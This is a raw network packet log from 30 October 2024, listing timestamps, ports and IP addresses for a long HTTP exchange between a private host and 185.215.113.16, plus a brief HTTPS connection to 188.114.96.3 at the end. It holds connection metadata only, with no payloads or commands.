Oct 30, 2024 11:46:51.682446003 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:51.682454109 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:51.682459116 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:51.682471037 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:51.682475090 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:51.682487011 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:51.682496071 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:51.682498932 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:51.682512999 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:51.682518959 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:51.682523966 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:51.682535887 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:51.682549000 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:51.682563066 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:51.682575941 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:51.682588100 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:51.682600975 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:51.682612896 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:51.682614088 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:51.682614088 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:51.682614088 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:51.682615042 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:51.682629108 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:51.682640076 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:51.682655096 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:51.682679892 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:51.719780922 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:51.719798088 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:51.719810963 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:51.719825983 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:51.719839096 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:51.719851971 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:51.719886065 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:51.719947100 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:51.719979048 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:51.720024109 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:51.720068932 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:51.720082045 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:51.720093966 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:51.720113993 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:51.720117092 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:51.720129967 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:51.720151901 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:51.720185995 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:51.720278978 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:51.720324993 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:51.720338106 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:51.720350981 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:51.720381021 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:51.720403910 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:51.720453024 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:51.720496893 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:51.720561981 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:51.720573902 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:51.720588923 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:51.720612049 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:51.720617056 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:51.720634937 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:51.720642090 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:51.720653057 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:51.720666885 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:51.720705986 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:51.720747948 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:51.750648022 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:51.750699043 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:51.750718117 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:51.750786066 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:51.750798941 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:51.750811100 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:51.750844002 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:51.750849962 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:51.750875950 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:51.750900984 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:51.750917912 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:51.750931978 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:51.750943899 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:51.750982046 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:51.751014948 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:51.751693964 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:51.751745939 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:51.751756907 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:51.751802921 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:51.751895905 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:51.751909018 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:51.751921892 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:51.751955986 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:51.751976013 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:51.751988888 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:51.751998901 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:51.752013922 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:51.752027988 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:51.752039909 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:51.752043009 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:51.752077103 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:51.752096891 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:51.752283096 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:51.752332926 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:51.752337933 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:51.752346039 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:51.752387047 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:51.752397060 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:51.752413034 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:51.752449036 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:51.752460957 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:51.752464056 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:51.752512932 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:51.752672911 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:51.752698898 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:51.752724886 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:51.752763033 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:51.752765894 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:51.752778053 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:51.752823114 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:51.752983093 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:51.753006935 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:51.753019094 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:51.753037930 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:51.753092051 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:51.753098011 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:51.753110886 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:51.753122091 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:51.753146887 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:51.753185987 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:51.753262043 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:51.753274918 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:51.753288031 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:51.753310919 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:51.753350973 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:51.753390074 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:51.753437042 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:51.753463030 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:51.753475904 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:51.753509045 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:51.794452906 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:51.794471979 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:51.794589996 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:51.794680119 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:51.794729948 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:51.794740915 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:51.794743061 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:51.794774055 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:51.794783115 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:51.794786930 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:51.794800043 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:51.794801950 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:51.794815063 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:51.794826031 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:51.794826984 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:51.794841051 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:51.794867039 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:51.794886112 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:51.794898987 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:51.794912100 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:51.794920921 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:51.794924021 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:51.794945955 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:51.794981956 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:51.795053005 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:51.795092106 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:51.795104027 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:51.795105934 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:51.795135975 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:51.795152903 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:51.795155048 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:51.795169115 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:51.795197010 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:51.795219898 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:51.795464039 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:51.795475006 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:51.795485020 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:51.795511961 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:51.795552969 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:51.795655012 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:51.795698881 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:51.795701027 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:51.795712948 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:51.795751095 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:51.795780897 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:51.795794010 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:51.795804977 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:51.795830011 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:51.795862913 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:51.795995951 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:51.796039104 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:51.796042919 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:51.796063900 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:51.796083927 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:51.796091080 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:51.796103001 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:51.796109915 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:51.796133041 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:51.796153069 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:51.796278000 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:51.796314001 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:51.796320915 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:51.796325922 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:51.796386003 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:51.796389103 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:51.796401024 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:51.796407938 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:51.796441078 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:51.835839033 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:51.835932970 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:51.835968971 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:51.835983038 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:51.835995913 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:51.836008072 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:51.836019039 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:51.836023092 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:51.836039066 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:51.836051941 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:51.836055040 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:51.836065054 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:51.836077929 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:51.836090088 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:51.836096048 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:51.836105108 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:51.836122036 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:51.836149931 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:51.836167097 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:51.836206913 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:51.836213112 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:51.836220026 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:51.836255074 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:51.836276054 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:51.836287022 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:51.836301088 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:51.836313963 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:51.836327076 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:51.836332083 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:51.836340904 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:51.836359978 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:51.836394072 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:51.866311073 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:51.866327047 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:51.866348028 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:51.866383076 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:51.866385937 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:51.866399050 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:51.866415977 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:51.866436005 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:51.866457939 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:51.866473913 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:51.866487980 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:51.866501093 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:51.866508961 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:51.866514921 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:51.866563082 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:51.866573095 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:51.867289066 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:51.867309093 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:51.867335081 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:51.867335081 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:51.867366076 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:51.867384911 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:51.867412090 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:51.867425919 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:51.867438078 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:51.867456913 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:51.867485046 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:51.867523909 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:51.867569923 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:51.867577076 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:51.867634058 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:51.867641926 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:51.867647886 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:51.867690086 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:51.867718935 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:51.867876053 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:51.867888927 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:51.867899895 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:51.867935896 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:51.867968082 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:51.868005991 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:51.868051052 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:51.868052959 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:51.868066072 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:51.868097067 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:51.868119955 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:51.868340969 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:51.868407965 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:51.868447065 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:51.868483067 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:51.868498087 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:51.868501902 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:51.868515015 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:51.868526936 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:51.868530035 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:51.868554115 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:51.868591070 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:51.868592024 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:51.868609905 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:51.868624926 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:51.868643045 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:51.868675947 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:51.868676901 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:51.868690014 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:51.868717909 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:51.868729115 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:51.868736982 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:51.868766069 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:51.868801117 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:51.868947983 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:51.868961096 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:51.868972063 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:51.869009972 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:51.869046926 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:51.910621881 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:51.910645962 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:51.910659075 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:51.910691023 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:51.910706043 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:51.910705090 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:51.910718918 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:51.910733938 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:51.910737991 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:51.910775900 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:51.910778046 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:51.910784006 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:51.910784960 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:51.910787106 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:51.910789013 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:51.910797119 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:51.910810947 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:51.910844088 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:51.910868883 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:51.910989046 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:51.911030054 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:51.911041975 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:51.911048889 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:51.911062002 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:51.911077023 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:51.911081076 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:51.911088943 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:51.911132097 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:51.915637970 CET	58197	443	192.168.2.7	188.114.96.3
Oct 30, 2024 11:46:51.915693998 CET	443	58197	188.114.96.3	192.168.2.7
Oct 30, 2024 11:46:51.915882111 CET	58197	443	192.168.2.7	188.114.96.3
Oct 30, 2024 11:46:51.916085005 CET	58197	443	192.168.2.7	188.114.96.3
Oct 30, 2024 11:46:51.916107893 CET	443	58197	188.114.96.3	192.168.2.7
